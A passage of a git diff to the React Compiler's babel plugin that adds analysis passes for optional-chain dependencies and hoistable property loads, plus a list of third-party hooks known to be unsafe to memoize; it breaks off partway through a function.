+        changed ||= neighborChanged;
+      }
+    }
+    /**
+     * Note that a predecessor / successor can only be active (status != 'done')
+     * if it is a self-loop or other transitive cycle. Active neighbors can be
+     * filtered out (i.e. not included in the intersection)
+     * Example: self loop.
+     *    X = Union(Intersect(X, ...X_other_neighbors), X)
+     *
+     * Example: transitive cycle through node Y, for some Y that is a
+     * predecessor / successor of X.
+     *    X = Union(
+     *          Intersect(
+     *            Union(Intersect(X, ...Y_other_neighbors), Y),
+     *            ...X_neighbors
+     *          ),
+     *          X
+     *        )
+     *
+     * Non-active neighbors with no recorded results can occur due to backedges.
+     * it's not safe to assume they can be filtered out (e.g. not included in
+     * the intersection)
+     */
+    const neighborAccesses = Set_intersect(
+      Array.from(neighbors)
+        .filter(n => traversalState.get(n) === 'done')
+        .map(n => assertNonNull(nodes.get(n)).assumedNonNullObjects),
+    );
+
+    const prevObjects = assertNonNull(nodes.get(nodeId)).assumedNonNullObjects;
+    const mergedObjects = Set_union(prevObjects, neighborAccesses);
+    reduceMaybeOptionalChains(mergedObjects, registry);
+
+    assertNonNull(nodes.get(nodeId)).assumedNonNullObjects = mergedObjects;
+    traversalState.set(nodeId, 'done');
+    /**
+     * Note that it's not sufficient to compare set sizes since
+     * reduceMaybeOptionalChains may replace optional-chain loads with
+     * unconditional loads. This could in turn change `assumedNonNullObjects` of
+     * downstream blocks and backedges.
+     */
+    changed ||= !Set_equal(prevObjects, mergedObjects);
+    return changed;
+  }
+  const traversalState = new Map<BlockId, 'done' | 'active'>();
+  const reversedBlocks = [...fn.body.blocks];
+  reversedBlocks.reverse();
+
+  let changed;
+  let i = 0;
+  do {
+    CompilerError.invariant(i++ < 100, {
+      reason:
+        '[CollectHoistablePropertyLoads] fixed point iteration did not terminate after 100 loops',
+      loc: GeneratedSource,
+    });
+
+    changed = false;
+    for (const [blockId] of fn.body.blocks) {
+      const forwardChanged = recursivelyPropagateNonNull(
+        blockId,
+        'forward',
+        traversalState,
+      );
+      changed ||= forwardChanged;
+    }
+    traversalState.clear();
+    for (const [blockId] of reversedBlocks) {
+      const backwardChanged = recursivelyPropagateNonNull(
+        blockId,
+        'backward',
+        traversalState,
+      );
+      changed ||= backwardChanged;
+    }
+    traversalState.clear();
+  } while (changed);
+}
+
+export function assertNonNull<T extends NonNullable<U>, U>(
+  value: T | null | undefined,
+  source?: string,
+): T {
+  CompilerError.invariant(value != null, {
+    reason: 'Unexpected null',
+    description: source != null ? `(from ${source})` : null,
+    loc: GeneratedSource,
+  });
+  return value;
+}
+
+/**
+ * Any two optional chains with different operations . vs ?. but the same set of
+ * property strings paths de-duplicates.
+ *
+ * Intuitively: given <base>?.b, we know <base> to be either hoistable or not.
+ * If unconditional reads from <base> are hoistable, we can replace all
+ * <base>?.PROPERTY_STRING subpaths with <base>.PROPERTY_STRING
+ */
+function reduceMaybeOptionalChains(
+  nodes: Set<PropertyPathNode>,
+  registry: PropertyPathRegistry,
+): void {
+  let optionalChainNodes = Set_filter(nodes, n => n.hasOptional);
+  if (optionalChainNodes.size === 0) {
+    return;
+  }
+  let changed: boolean;
+  do {
+    changed = false;
+
+    for (const original of optionalChainNodes) {
+      let {
+        identifier,
+        path: origPath,
+        reactive,
+        loc: origLoc,
+      } = original.fullPath;
+      let currNode: PropertyPathNode = registry.getOrCreateIdentifier(
+        identifier,
+        reactive,
+        origLoc,
+      );
+      for (let i = 0; i < origPath.length; i++) {
+        const entry = origPath[i];
+        // If the base is known to be non-null, replace with a non-optional load
+        const nextEntry: DependencyPathEntry =
+          entry.optional && nodes.has(currNode)
+            ? {property: entry.property, optional: false, loc: entry.loc}
+            : entry;
+        currNode = PropertyPathRegistry.getOrCreatePropertyEntry(
+          currNode,
+          nextEntry,
+        );
+      }
+      if (currNode !== original) {
+        changed = true;
+        optionalChainNodes.delete(original);
+        optionalChainNodes.add(currNode);
+        nodes.delete(original);
+        nodes.add(currNode);
+      }
+    }
+  } while (changed);
+}
+
+function getAssumedInvokedFunctions(
+  fn: HIRFunction,
+  temporaries: Map<
+    IdentifierId,
+    {fn: LoweredFunction; mayInvoke: Set<LoweredFunction>}
+  > = new Map(),
+): ReadonlySet<LoweredFunction> {
+  const hoistableFunctions = new Set<LoweredFunction>();
+  /**
+   * Step 1: Conservatively collect identifier to function expression mappings
+   */
+  for (const block of fn.body.blocks.values()) {
+    for (const {lvalue, value} of block.instructions) {
+      /**
+       * Conservatively only match function expressions which can have guaranteed ssa.
+       * ObjectMethods and ObjectProperties do not.
+       */
+      if (value.kind === 'FunctionExpression') {
+        temporaries.set(lvalue.identifier.id, {
+          fn: value.loweredFunc,
+          mayInvoke: new Set(),
+        });
+      } else if (value.kind === 'StoreLocal') {
+        const lvalue = value.lvalue.place.identifier;
+        const maybeLoweredFunc = temporaries.get(value.value.identifier.id);
+        if (maybeLoweredFunc != null) {
+          temporaries.set(lvalue.id, maybeLoweredFunc);
+        }
+      } else if (value.kind === 'LoadLocal') {
+        const maybeLoweredFunc = temporaries.get(value.place.identifier.id);
+        if (maybeLoweredFunc != null) {
+          temporaries.set(lvalue.identifier.id, maybeLoweredFunc);
+        }
+      }
+    }
+  }
+  /**
+   * Step 2: Forward pass to do analysis of assumed function calls. Note that
+   * this is conservative and does not count indirect references through
+   * containers (e.g. `return {cb: () => {...}})`).
+   */
+  for (const block of fn.body.blocks.values()) {
+    for (const {lvalue, value} of block.instructions) {
+      if (value.kind === 'CallExpression') {
+        const callee = value.callee;
+        const maybeHook = getHookKind(fn.env, callee.identifier);
+        const maybeLoweredFunc = temporaries.get(callee.identifier.id);
+        if (maybeLoweredFunc != null) {
+          // Direct calls
+          hoistableFunctions.add(maybeLoweredFunc.fn);
+        } else if (maybeHook != null) {
+          /**
+           * Assume arguments to all hooks are safe to invoke
+           */
+          for (const arg of value.args) {
+            if (arg.kind === 'Identifier') {
+              const maybeLoweredFunc = temporaries.get(arg.identifier.id);
+              if (maybeLoweredFunc != null) {
+                hoistableFunctions.add(maybeLoweredFunc.fn);
+              }
+            }
+          }
+        }
+      } else if (value.kind === 'JsxExpression') {
+        /**
+         * Assume JSX attributes and children are safe to invoke
+         */
+        for (const attr of value.props) {
+          if (attr.kind === 'JsxSpreadAttribute') {
+            continue;
+          }
+          const maybeLoweredFunc = temporaries.get(attr.place.identifier.id);
+          if (maybeLoweredFunc != null) {
+            hoistableFunctions.add(maybeLoweredFunc.fn);
+          }
+        }
+        for (const child of value.children ?? []) {
+          const maybeLoweredFunc = temporaries.get(child.identifier.id);
+          if (maybeLoweredFunc != null) {
+            hoistableFunctions.add(maybeLoweredFunc.fn);
+          }
+        }
+      } else if (value.kind === 'FunctionExpression') {
+        /**
+         * Recursively traverse into other function expressions which may invoke
+         * or pass already declared functions to react (e.g. as JSXAttributes).
+         *
+         * If lambda A calls lambda B, we assume lambda B is safe to invoke if
+         * lambda A is -- even if lambda B is conditionally called. (see
+         * `conditional-call-chain` fixture for example).
+         */
+        const loweredFunc = value.loweredFunc.func;
+        const lambdasCalled = getAssumedInvokedFunctions(
+          loweredFunc,
+          temporaries,
+        );
+        const maybeLoweredFunc = temporaries.get(lvalue.identifier.id);
+        if (maybeLoweredFunc != null) {
+          for (const called of lambdasCalled) {
+            maybeLoweredFunc.mayInvoke.add(called);
+          }
+        }
+      }
+    }
+    if (block.terminal.kind === 'return') {
+      /**
+       * Assume directly returned functions are safe to call
+       */
+      const maybeLoweredFunc = temporaries.get(
+        block.terminal.value.identifier.id,
+      );
+      if (maybeLoweredFunc != null) {
+        hoistableFunctions.add(maybeLoweredFunc.fn);
+      }
+    }
+  }
+
+  for (const [_, {fn, mayInvoke}] of temporaries) {
+    if (hoistableFunctions.has(fn)) {
+      for (const called of mayInvoke) {
+        hoistableFunctions.add(called);
+      }
+    }
+  }
+  return hoistableFunctions;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/CollectOptionalChainDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/CollectOptionalChainDependencies.ts
new file mode 100644
index 000000000000..ece62bf56a27
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/CollectOptionalChainDependencies.ts
@@ -0,0 +1,418 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError, SourceLocation} from '..';
+import {assertNonNull} from './CollectHoistablePropertyLoads';
+import {
+  BlockId,
+  BasicBlock,
+  IdentifierId,
+  ReactiveScopeDependency,
+  BranchTerminal,
+  TInstruction,
+  PropertyLoad,
+  StoreLocal,
+  GotoVariant,
+  TBasicBlock,
+  OptionalTerminal,
+  HIRFunction,
+  DependencyPathEntry,
+  Instruction,
+  Terminal,
+  PropertyLiteral,
+} from './HIR';
+import {printIdentifier} from './PrintHIR';
+
+export function collectOptionalChainSidemap(
+  fn: HIRFunction,
+): OptionalChainSidemap {
+  const context: OptionalTraversalContext = {
+    currFn: fn,
+    blocks: fn.body.blocks,
+    seenOptionals: new Set(),
+    processedInstrsInOptional: new Set(),
+    temporariesReadInOptional: new Map(),
+    hoistableObjects: new Map(),
+  };
+  traverseFunction(fn, context);
+  return {
+    temporariesReadInOptional: context.temporariesReadInOptional,
+    processedInstrsInOptional: context.processedInstrsInOptional,
+    hoistableObjects: context.hoistableObjects,
+  };
+}
+export type OptionalChainSidemap = {
+  /**
+   * Stores the correct property mapping (e.g. `a?.b` instead of `a.b`) for
+   * dependency calculation. Note that we currently do not store anything on
+   * outer phi nodes.
+   */
+  temporariesReadInOptional: ReadonlyMap<IdentifierId, ReactiveScopeDependency>;
+  /**
+   * Records instructions (PropertyLoads, StoreLocals, and test terminals)
+   * processed in this pass. When extracting dependencies in
+   * PropagateScopeDependencies, these instructions are skipped.
+   *
+   * E.g. given a?.b
+   * ```
+   * bb0
+   *   $0 = LoadLocal 'a'
+   *   test $0 then=bb1         <- Avoid adding dependencies from these instructions, as
+   * bb1                           the sidemap produced by readOptionalBlock already maps
+   *   $1 = PropertyLoad $0.'b' <- $1 and $2 back to a?.b. Instead, we want to add a?.b
+   *   StoreLocal $2 = $1       <- as a dependency when $1 or $2 are later used in either
+   *                                 - an unhoistable expression within an outer optional
+   *                                   block e.g. MethodCall
+   *                                 - a phi node (if the entire optional value is hoistable)
+   * ```
+   *
+   * Note that mapping blockIds to their evaluated dependency path does not
+   * work, since values produced by inner optional chains may be referenced in
+   * outer ones
+   * ```
+   * a?.b.c()
+   *  ->
+   * bb0
+   *   $0 = LoadLocal 'a'
+   *   test $0 then=bb1
+   * bb1
+   *   $1 = PropertyLoad $0.'b'
+   *   StoreLocal $2 = $1
+   *   goto bb2
+   * bb2
+   *   test $2 then=bb3
+   * bb3:
+   *   $3 = PropertyLoad $2.'c'
+   *   StoreLocal $4 = $3
+   *   goto bb4
+   * bb4
+   *   test $4 then=bb5
+   * bb5:
+   *   $5 = MethodCall $2.$4() <--- here, we want to take a dep on $2 and $4!
+   * ```
+   *
+   * Also note that InstructionIds are not unique across inner functions.
+   */
+  processedInstrsInOptional: ReadonlySet<Instruction | Terminal>;
+  /**
+   * Records optional chains for which we can safely evaluate non-optional
+   * PropertyLoads. e.g. given `a?.b.c`, we can evaluate any load from `a?.b` at
+   * the optional terminal in bb1.
+   * ```js
+   * bb1:
+   *   ...
+   *   Optional optional=false test=bb2 fallth=...
+   * bb2:
+   *   Optional optional=true test=bb3 fallth=...
+   * ...
+   * ```
+   */
+  hoistableObjects: ReadonlyMap<BlockId, ReactiveScopeDependency>;
+};
+
+type OptionalTraversalContext = {
+  currFn: HIRFunction;
+  blocks: ReadonlyMap<BlockId, BasicBlock>;
+
+  // Track optional blocks to avoid outer calls into nested optionals
+  seenOptionals: Set<BlockId>;
+
+  processedInstrsInOptional: Set<Instruction | Terminal>;
+  temporariesReadInOptional: Map<IdentifierId, ReactiveScopeDependency>;
+  hoistableObjects: Map<BlockId, ReactiveScopeDependency>;
+};
+
+function traverseFunction(
+  fn: HIRFunction,
+  context: OptionalTraversalContext,
+): void {
+  for (const [_, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      if (
+        instr.value.kind === 'FunctionExpression' ||
+        instr.value.kind === 'ObjectMethod'
+      ) {
+        traverseFunction(instr.value.loweredFunc.func, {
+          ...context,
+          currFn: instr.value.loweredFunc.func,
+          blocks: instr.value.loweredFunc.func.body.blocks,
+        });
+      }
+    }
+    if (
+      block.terminal.kind === 'optional' &&
+      !context.seenOptionals.has(block.id)
+    ) {
+      traverseOptionalBlock(
+        block as TBasicBlock<OptionalTerminal>,
+        context,
+        null,
+      );
+    }
+  }
+}
+/**
+ * Match the consequent and alternate blocks of an optional.
+ * @returns propertyload computed by the consequent block, or null if the
+ * consequent block is not a simple PropertyLoad.
+ */
+function matchOptionalTestBlock(
+  terminal: BranchTerminal,
+  blocks: ReadonlyMap<BlockId, BasicBlock>,
+): {
+  consequentId: IdentifierId;
+  property: PropertyLiteral;
+  propertyId: IdentifierId;
+  storeLocalInstr: Instruction;
+  consequentGoto: BlockId;
+  propertyLoadLoc: SourceLocation;
+} | null {
+  const consequentBlock = assertNonNull(blocks.get(terminal.consequent));
+  if (
+    consequentBlock.instructions.length === 2 &&
+    consequentBlock.instructions[0].value.kind === 'PropertyLoad' &&
+    consequentBlock.instructions[1].value.kind === 'StoreLocal'
+  ) {
+    const propertyLoad: TInstruction<PropertyLoad> = consequentBlock
+      .instructions[0] as TInstruction<PropertyLoad>;
+    const storeLocal: StoreLocal = consequentBlock.instructions[1].value;
+    const storeLocalInstr = consequentBlock.instructions[1];
+    CompilerError.invariant(
+      propertyLoad.value.object.identifier.id === terminal.test.identifier.id,
+      {
+        reason:
+          '[OptionalChainDeps] Inconsistent optional chaining property load',
+        description: `Test=${printIdentifier(terminal.test.identifier)} PropertyLoad base=${printIdentifier(propertyLoad.value.object.identifier)}`,
+        loc: propertyLoad.loc,
+      },
+    );
+
+    CompilerError.invariant(
+      storeLocal.value.identifier.id === propertyLoad.lvalue.identifier.id,
+      {
+        reason: '[OptionalChainDeps] Unexpected storeLocal',
+        loc: propertyLoad.loc,
+      },
+    );
+    if (
+      consequentBlock.terminal.kind !== 'goto' ||
+      consequentBlock.terminal.variant !== GotoVariant.Break
+    ) {
+      return null;
+    }
+    const alternate = assertNonNull(blocks.get(terminal.alternate));
+
+    CompilerError.invariant(
+      alternate.instructions.length === 2 &&
+        alternate.instructions[0].value.kind === 'Primitive' &&
+        alternate.instructions[1].value.kind === 'StoreLocal',
+      {
+        reason: 'Unexpected alternate structure',
+        loc: terminal.loc,
+      },
+    );
+
+    return {
+      consequentId: storeLocal.lvalue.place.identifier.id,
+      property: propertyLoad.value.property,
+      propertyId: propertyLoad.lvalue.identifier.id,
+      storeLocalInstr,
+      consequentGoto: consequentBlock.terminal.block,
+      propertyLoadLoc: propertyLoad.loc,
+    };
+  }
+  return null;
+}
+
+/**
+ * Traverse into the optional block and all transitively referenced blocks to
+ * collect sidemaps of optional chain dependencies.
+ *
+ * @returns the IdentifierId representing the optional block if the block and
+ * all transitively referenced optional blocks precisely represent a chain of
+ * property loads. If any part of the optional chain is not hoistable, returns
+ * null.
+ */
+function traverseOptionalBlock(
+  optional: TBasicBlock<OptionalTerminal>,
+  context: OptionalTraversalContext,
+  outerAlternate: BlockId | null,
+): IdentifierId | null {
+  context.seenOptionals.add(optional.id);
+  const maybeTest = context.blocks.get(optional.terminal.test)!;
+  let test: BranchTerminal;
+  let baseObject: ReactiveScopeDependency;
+  if (maybeTest.terminal.kind === 'branch') {
+    CompilerError.invariant(optional.terminal.optional, {
+      reason: '[OptionalChainDeps] Expect base case to be always optional',
+      loc: optional.terminal.loc,
+    });
+    /**
+     * Optional base expressions are currently within value blocks which cannot
+     * be interrupted by scope boundaries. As such, the only dependencies we can
+     * hoist out of optional chains are property load chains with no intervening
+     * instructions.
+     *
+     * Ideally, we would be able to flatten base instructions out of optional
+     * blocks, but this would require changes to HIR.
+     *
+     * For now, only match base expressions that are straightforward
+     * PropertyLoad chains
+     */
+    if (
+      maybeTest.instructions.length === 0 ||
+      maybeTest.instructions[0].value.kind !== 'LoadLocal'
+    ) {
+      return null;
+    }
+    const path: Array<DependencyPathEntry> = [];
+    for (let i = 1; i < maybeTest.instructions.length; i++) {
+      const instrVal = maybeTest.instructions[i].value;
+      const prevInstr = maybeTest.instructions[i - 1];
+      if (
+        instrVal.kind === 'PropertyLoad' &&
+        instrVal.object.identifier.id === prevInstr.lvalue.identifier.id
+      ) {
+        path.push({
+          property: instrVal.property,
+          optional: false,
+          loc: instrVal.loc,
+        });
+      } else {
+        return null;
+      }
+    }
+    CompilerError.invariant(
+      maybeTest.terminal.test.identifier.id ===
+        maybeTest.instructions.at(-1)!.lvalue.identifier.id,
+      {
+        reason: '[OptionalChainDeps] Unexpected test expression',
+        loc: maybeTest.terminal.loc,
+      },
+    );
+    baseObject = {
+      identifier: maybeTest.instructions[0].value.place.identifier,
+      reactive: maybeTest.instructions[0].value.place.reactive,
+      path,
+      loc: maybeTest.instructions[0].value.place.loc,
+    };
+    test = maybeTest.terminal;
+  } else if (maybeTest.terminal.kind === 'optional') {
+    /**
+     * This is either
+     * - <inner_optional>?.property (optional=true)
+     * - <inner_optional>.property  (optional=false)
+     * - <inner_optional> <other operation>
+     * - a optional base block with a separate nested optional-chain (e.g. a(c?.d)?.d)
+     */
+    const testBlock = context.blocks.get(maybeTest.terminal.fallthrough)!;
+    /**
+     * Fallthrough of the inner optional should be a block with no
+     * instructions, terminating with Test($<temporary written to from
+     * StoreLocal>)
+     */
+    if (testBlock.terminal.kind !== 'branch') {
+      return null;
+    }
+    /**
+     * Recurse into inner optional blocks to collect inner optional-chain
+     * expressions, regardless of whether we can match the outer one to a
+     * PropertyLoad.
+     */
+    const innerOptional = traverseOptionalBlock(
+      maybeTest as TBasicBlock<OptionalTerminal>,
+      context,
+      testBlock.terminal.alternate,
+    );
+    if (innerOptional == null) {
+      return null;
+    }
+
+    /**
+     * Check that the inner optional is part of the same optional-chain as the
+     * outer one. This is not guaranteed, e.g. given a(c?.d)?.d
+     * ```
+     * bb0:
+     *   Optional test=bb1
+     * bb1:
+     *   $0 = LoadLocal a               <-- part 1 of the outer optional-chaining base
+     *   Optional test=bb2 fallth=bb5   <-- start of optional chain for c?.d
+     * bb2:
+     *   ... (optional chain for c?.d)
+     * ...
+     * bb5:
+     *   $1 = phi(c.d, undefined)       <-- part 2 (continuation) of the outer optional-base
+     *   $2 = Call $0($1)
+     *   Branch $2 ...
+     * ```
+     */
+    if (testBlock.terminal.test.identifier.id !== innerOptional) {
+      return null;
+    }
+
+    if (!optional.terminal.optional) {
+      /**
+       * If this is an non-optional load participating in an optional chain
+       * (e.g. loading the `c` property in `a?.b.c`), record that PropertyLoads
+       * from the inner optional value are hoistable.
+       */
+      context.hoistableObjects.set(
+        optional.id,
+        assertNonNull(context.temporariesReadInOptional.get(innerOptional)),
+      );
+    }
+    baseObject = assertNonNull(
+      context.temporariesReadInOptional.get(innerOptional),
+    );
+    test = testBlock.terminal;
+  } else {
+    return null;
+  }
+
+  if (test.alternate === outerAlternate) {
+    CompilerError.invariant(optional.instructions.length === 0, {
+      reason:
+        '[OptionalChainDeps] Unexpected instructions an inner optional block. ' +
+        'This indicates that the compiler may be incorrectly concatenating two unrelated optional chains',
+      loc: optional.terminal.loc,
+    });
+  }
+  const matchConsequentResult = matchOptionalTestBlock(test, context.blocks);
+  if (!matchConsequentResult) {
+    // Optional chain consequent is not hoistable e.g. a?.[computed()]
+    return null;
+  }
+  CompilerError.invariant(
+    matchConsequentResult.consequentGoto === optional.terminal.fallthrough,
+    {
+      reason: '[OptionalChainDeps] Unexpected optional goto-fallthrough',
+      description: `${matchConsequentResult.consequentGoto} != ${optional.terminal.fallthrough}`,
+      loc: optional.terminal.loc,
+    },
+  );
+  const load: ReactiveScopeDependency = {
+    identifier: baseObject.identifier,
+    reactive: baseObject.reactive,
+    path: [
+      ...baseObject.path,
+      {
+        property: matchConsequentResult.property,
+        optional: optional.terminal.optional,
+        loc: matchConsequentResult.propertyLoadLoc,
+      },
+    ],
+    loc: matchConsequentResult.propertyLoadLoc,
+  };
+  context.processedInstrsInOptional.add(matchConsequentResult.storeLocalInstr);
+  context.processedInstrsInOptional.add(test);
+  context.temporariesReadInOptional.set(
+    matchConsequentResult.consequentId,
+    load,
+  );
+  context.temporariesReadInOptional.set(matchConsequentResult.propertyId, load);
+  return matchConsequentResult.consequentId;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/ComputeUnconditionalBlocks.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/ComputeUnconditionalBlocks.ts
index 20037795e956..8b339a2823e7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/ComputeUnconditionalBlocks.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/ComputeUnconditionalBlocks.ts
@@ -5,8 +5,13 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { BlockId, HIRFunction, computePostDominatorTree } from ".";
-import { CompilerError } from "..";
+import {
+  BlockId,
+  GeneratedSource,
+  HIRFunction,
+  computePostDominatorTree,
+} from '.';
+import {CompilerError} from '..';
 
 export function computeUnconditionalBlocks(fn: HIRFunction): Set<BlockId> {
   // Construct the set of blocks that is always reachable from the entry block.
@@ -23,9 +28,8 @@ export function computeUnconditionalBlocks(fn: HIRFunction): Set<BlockId> {
   while (current !== null && current !== exit) {
     CompilerError.invariant(!unconditionalBlocks.has(current), {
       reason:
-        "Internal error: non-terminating loop in ComputeUnconditionalBlocks",
-      loc: null,
-      suggestions: null,
+        'Internal error: non-terminating loop in ComputeUnconditionalBlocks',
+      loc: GeneratedSource,
     });
     unconditionalBlocks.add(current);
     current = dominators.get(current);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/DefaultModuleTypeProvider.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/DefaultModuleTypeProvider.ts
new file mode 100644
index 000000000000..106fce615c44
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/DefaultModuleTypeProvider.ts
@@ -0,0 +1,109 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {Effect, ValueKind} from '..';
+import {TypeConfig} from './TypeSchema';
+
+/**
+ * Libraries developed before we officially documented the [Rules of React](https://react.dev/reference/rules)
+ * implement APIs which cannot be memoized safely, either via manual or automatic memoization.
+ *
+ * Any non-hook API that is designed to be called during render (not events/effects) should be safe to memoize:
+ *
+ * ```js
+ * function Component() {
+ *   const {someFunction} = useLibrary();
+ *   // it should always be safe to memoize functions like this
+ *  const result = useMemo(() => someFunction(), [someFunction]);
+ * }
+ * ```
+ *
+ * However, some APIs implement "interior mutability" — mutating values rather than copying into a new value
+ * and setting state with the new value. Such functions (`someFunction()` in the example) could return different
+ * values even though the function itself is the same object. This breaks memoization, since React relies on
+ * the outer object (or function) changing if part of its value has changed.
+ *
+ * Given that we didn't have the Rules of React precisely documented prior to the introduction of React compiler,
+ * it's understandable that some libraries accidentally shipped APIs that break this rule. However, developers
+ * can easily run into pitfalls with these APIs. They may manually memoize them, which can break their app. Or
+ * they may try using React Compiler, and think that the compiler has broken their code.
+ *
+ * To help ensure that developers can successfully use the compiler with existing code, this file teaches the
+ * compiler about specific APIs that are known to be incompatible with memoization. We've tried to be as precise
+ * as possible.
+ *
+ * The React team is open to collaborating with library authors to help develop compatible versions of these APIs,
+ * and we have already reached out to the teams who own any API listed here to ensure they are aware of the issue.
+ */
+export function defaultModuleTypeProvider(
+  moduleName: string,
+): TypeConfig | null {
+  switch (moduleName) {
+    case 'react-hook-form': {
+      return {
+        kind: 'object',
+        properties: {
+          useForm: {
+            kind: 'hook',
+            returnType: {
+              kind: 'object',
+              properties: {
+                // Only the `watch()` function returned by react-hook-form's `useForm()` API is incompatible
+                watch: {
+                  kind: 'function',
+                  positionalParams: [],
+                  restParam: Effect.Read,
+                  calleeEffect: Effect.Read,
+                  returnType: {kind: 'type', name: 'Any'},
+                  returnValueKind: ValueKind.Mutable,
+                  knownIncompatible: `React Hook Form's \`useForm()\` API returns a \`watch()\` function which cannot be memoized safely.`,
+                },
+              },
+            },
+          },
+        },
+      };
+    }
+    case '@tanstack/react-table': {
+      return {
+        kind: 'object',
+        properties: {
+          /*
+           * Many of the properties of `useReactTable()`'s return value are incompatible, so we mark the entire hook
+           * as incompatible
+           */
+          useReactTable: {
+            kind: 'hook',
+            positionalParams: [],
+            restParam: Effect.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            knownIncompatible: `TanStack Table's \`useReactTable()\` API returns functions that cannot be memoized safely`,
+          },
+        },
+      };
+    }
+    case '@tanstack/react-virtual': {
+      return {
+        kind: 'object',
+        properties: {
+          /*
+           * Many of the properties of `useVirtualizer()`'s return value are incompatible, so we mark the entire hook
+           * as incompatible
+           */
+          useVirtualizer: {
+            kind: 'hook',
+            positionalParams: [],
+            restParam: Effect.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            knownIncompatible: `TanStack Virtual's \`useVirtualizer()\` API returns functions that cannot be memoized safely`,
+          },
+        },
+      };
+    }
+  }
+  return null;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/DeriveMinimalDependenciesHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/DeriveMinimalDependenciesHIR.ts
new file mode 100644
index 000000000000..2850e73ca5a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/DeriveMinimalDependenciesHIR.ts
@@ -0,0 +1,389 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '../CompilerError';
+import {
+  DependencyPathEntry,
+  GeneratedSource,
+  Identifier,
+  PropertyLiteral,
+  ReactiveScopeDependency,
+  SourceLocation,
+} from '../HIR';
+import {printIdentifier} from '../HIR/PrintHIR';
+
+/**
+ * Simpler fork of DeriveMinimalDependencies, see PropagateScopeDependenciesHIR
+ * for detailed explanation.
+ */
+export class ReactiveScopeDependencyTreeHIR {
+  /**
+   * Paths from which we can hoist PropertyLoads. If an `identifier`,
+   * `identifier.path`, or `identifier?.path` is in this map, it is safe to
+   * evaluate (non-optional) PropertyLoads from.
+   */
+  #hoistableObjects: Map<Identifier, HoistableNode & {reactive: boolean}> =
+    new Map();
+  #deps: Map<Identifier, DependencyNode & {reactive: boolean}> = new Map();
+
+  /**
+   * @param hoistableObjects a set of paths from which we can safely evaluate
+   * PropertyLoads. Note that we expect these to not contain duplicates (e.g.
+   * both `a?.b` and `a.b`) only because CollectHoistablePropertyLoads merges
+   * duplicates when traversing the CFG.
+   */
+  constructor(hoistableObjects: Iterable<ReactiveScopeDependency>) {
+    for (const {path, identifier, reactive, loc} of hoistableObjects) {
+      let currNode = ReactiveScopeDependencyTreeHIR.#getOrCreateRoot(
+        identifier,
+        reactive,
+        this.#hoistableObjects,
+        path.length > 0 && path[0].optional ? 'Optional' : 'NonNull',
+        loc,
+      );
+
+      for (let i = 0; i < path.length; i++) {
+        const prevAccessType = currNode.properties.get(
+          path[i].property,
+        )?.accessType;
+        const accessType =
+          i + 1 < path.length && path[i + 1].optional ? 'Optional' : 'NonNull';
+        CompilerError.invariant(
+          prevAccessType == null || prevAccessType === accessType,
+          {
+            reason: 'Conflicting access types',
+            loc: GeneratedSource,
+          },
+        );
+        let nextNode = currNode.properties.get(path[i].property);
+        if (nextNode == null) {
+          nextNode = {
+            properties: new Map(),
+            accessType,
+            loc: path[i].loc,
+          };
+          currNode.properties.set(path[i].property, nextNode);
+        }
+        currNode = nextNode;
+      }
+    }
+  }
+
+  static #getOrCreateRoot<T extends string>(
+    identifier: Identifier,
+    reactive: boolean,
+    roots: Map<Identifier, TreeNode<T> & {reactive: boolean}>,
+    defaultAccessType: T,
+    loc: SourceLocation,
+  ): TreeNode<T> {
+    // roots can always be accessed unconditionally in JS
+    let rootNode = roots.get(identifier);
+
+    if (rootNode === undefined) {
+      rootNode = {
+        properties: new Map(),
+        reactive,
+        accessType: defaultAccessType,
+        loc,
+      };
+      roots.set(identifier, rootNode);
+    } else {
+      CompilerError.invariant(reactive === rootNode.reactive, {
+        reason: '[DeriveMinimalDependenciesHIR] Conflicting reactive root flag',
+        description: `Identifier ${printIdentifier(identifier)}`,
+        loc: GeneratedSource,
+      });
+    }
+    return rootNode;
+  }
+
+  /**
+   * Join a dependency with `#hoistableObjects` to record the hoistable
+   * dependency. This effectively truncates @param dep to its maximal
+   * safe-to-evaluate subpath
+   */
+  addDependency(dep: ReactiveScopeDependency): void {
+    const {identifier, reactive, path, loc} = dep;
+    let depCursor = ReactiveScopeDependencyTreeHIR.#getOrCreateRoot(
+      identifier,
+      reactive,
+      this.#deps,
+      PropertyAccessType.UnconditionalAccess,
+      loc,
+    );
+    /**
+     * hoistableCursor is null if depCursor is not an object we can hoist
+     * property reads from otherwise, it represents the same node in the
+     * hoistable / cfg-informed tree
+     */
+    let hoistableCursor: HoistableNode | undefined =
+      this.#hoistableObjects.get(identifier);
+
+    // All properties read 'on the way' to a dependency are marked as 'access'
+    for (const entry of path) {
+      let nextHoistableCursor: HoistableNode | undefined;
+      let nextDepCursor: DependencyNode;
+      if (entry.optional) {
+        /**
+         * No need to check the access type since we can match both optional or non-optionals
+         * in the hoistable
+         *  e.g. a?.b<rest> is hoistable if a.b<rest> is hoistable
+         */
+        if (hoistableCursor != null) {
+          nextHoistableCursor = hoistableCursor?.properties.get(entry.property);
+        }
+
